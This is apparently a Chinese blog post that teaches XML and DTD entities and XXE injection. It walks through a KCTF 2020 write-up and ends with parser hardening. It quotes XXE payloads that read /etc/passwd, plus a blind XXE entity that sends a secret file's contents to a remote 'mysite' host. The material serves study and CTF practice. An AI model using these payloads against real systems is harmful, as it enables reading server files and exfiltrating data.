最近在看 CTF 相关的内容,也过去看雪那边练了下手,毕竟现在 KCTF 秋季赛正火热进行中 🧐 。前菜 Web 题一般都是小试牛刀了,涉及到了 SSRF 和 XXE 。之前对于 XXE 也不是十分了解,结合实际题目还有网上资料做了一下加强学习,然后在这里简单的聊一下。
XML 基础
XML 全称为 Extensible Markup Language ,即可扩展标记型语言。XML 被设计为传输和存储数据,聚焦于数据的内容。其文档结构包括 XML 声明 、 DTD 文档类型定义(可选) 以及 文档元素 。
1 | <!-- XML 声明 --> |
所有的 XML 文档都由以下简单的构建模块组成:
- 元素
- 属性
- 实体
- PCDATA
- CDATA
- 元素是 XML 文档的主要模块,可以包括文档、其他元素或者为空,如
<message>some message in between</message>
- 属性可以提供元素的额外信息,如
<img src="computer.gif" />
- 实体用于定义普通文本的变量,实体引用是对实体的引用
- PCDATA 是被解析的字符数据(parsed character data) ,这些文本将会被解析器检查实体以及标记
- CDATA 是字符数据(character data),这些文本将不会被解析。
DTD 文档类型定义 - Document Type Definition
DTD 用于为 XML 文档定义语义约束,负责定义 XML 文档的合法构建模块。
DTD 支持的数据类型有限,无法对元素和属性的内容进行详细规范,同时在可读性和可扩展性上也比不上 XML Schema 。
DTD 引用
DTD 可以在 XML 文档内声明,也可以在外部引用。
- 内部声明语法
1 | <!DOCTYPE root-element [element-declarations]> |
以上文的 XML 文档为例:
!DOCTYPE note
定义了此文档为 note 类型文档。!ELEMENT (to, from, heading, body)
定义了 note 元素有四个子元素 to , from , heading , body 。!ELEMENT to
定义了 to 元素为 PCDATA 类型,其余类似
- 外部引用语法
1 | <!DOCTYPE root-element SYSTEM "DTD URI"> |
例子如下:
1 |
|
以下为引用的 note.dtd 内容:
1 | <!ELEMENT note (to,from,heading,body)> |
一类比较特殊为公用 DTD ,其格式为
1 | <!DOCTYPE root-element PUBLIC "DTD tag" "DTD URI" > |
如 Spring 的配置文件:
1 |
|
DTD 实体
DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,提高代码的复用性。实体分为 一般实体 和 参数实体 ,而且由于引用类型的不同,所以有以下四种分类。
一般实体引用通常是
&实体名
而参数实体引用一般是%实体名
- 内部实体
这种格式只能在 XML 文档内使用,其声明方式为 <!ENTITY entity-name "entity-value">
,引用方式为 &entity-name
。
- 内部参数实体
注意,该实体只能在 DTD 中引用,在 XML 文档中引用时,会被当做普通字符串而不会替换为相应的值。
声明方式为 <!ENTITY % entity-name "entity-value">
,引用方式为 %entity-name
。
在内部 DTD 中使用时,实体值必须是完整的定义,否则影响 XML 文档的有效性,如
1
2
3
4
5
6
7
<book name='aaa'>
如果是外部 DTD 中使用则没那么严格:
book.xml
1
2
3
<book name="a" price="10">
1 | <?xml version="1.0" encodig="UTF-8"> |
- 外部实体
此类实体不在 DTD 中指定而是通过一个专门的文件来指定其值,其声明方式为 <!ENTITY entity-name SYSTEM "entity-value URI">
或 <!ENTITY entity-name PUBLIC "entity-tag" "entity-value URI">
,引用方式为 &entity-name
- 外部参数实体
其声明格式为 <!ENTITY % entity-name SYSTEM "entity-value URI">
或 <!ENTITY % entity-name PUBLIC "entity-tag" "entity-value URI">
,引用方式为 %entity-name
XML 外部实体注入(XXE)
XXE 攻击是许多基于注入的攻击方式之一,攻击者将 XML 文档中外部实体发送到应用程序中并使用 XML 解析器解析时就会发生这种攻击。
注入方式
常见的 XXE 注入方式有以下几种:
- 直接通过 DTD 外部实体声明
xxe.xml 1
2
3
4
5
<c>&b;</c> - 通过外部引用引入 DTD 文档,再在 DTD 文档中声明外部引用
xxe.xml 1
2
3
<c>&b;</c>evil.dtd 1
<!ENTITY b SYSTEM "file:///etc/passwd">
- 这一个有点绕,先通过内部声明中声明一个外部参数实体,然后再引用这个外部参数实体中的外部实体声明,再引用这个外部实体:
xxe.xml 1
2
3
4
5
6
<c>&b;</c>evil.dtd 1
<!ENTITY b SYSTEM "file:///etc/passwd">
不同程序支持的协议
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
分析 KCTF2020 秋季赛“至暗时刻”的 XXE
题目的位置在这里,下面有详细的 WriteUP 。我们来看一下其中 XXE 的做法。
Writeup 在这里,单独分析 XXE 部分,这里仁叔用的是 BlindXXE :
1 |
|
1 | <!ENTITY % all "<!ENTITY send SYSTEM 'http://mysite/%file;'>"> |
这里攻击者在 XML 文档中的 DTD 声明中引用了两个外部参数实体,其中一个是 flag 文件的地址,一个是远端自己服务器的 DTD 文档地址,再将外部 DTD 中的外部实体 all
也引用到内部声明中。因为 all
本身也是一个完整的实体声明(外部实体),因此可以在文档元素中引用。而地址 http://mysite/%file
会将 file
实体的内容回显出来从而得到 flag 。
防范措施
因为校验 DTD 中的 SYSTEM
标识符定义的数据并不容易也不太可能,大部分的 XML 解析器默认对于 XXE 攻击是脆弱的。因此最好的方法是 XML 解析器禁用外部实体而只使用本地静态的 DTD :
1 | // php version |
1 | // java version |
1 | # python version |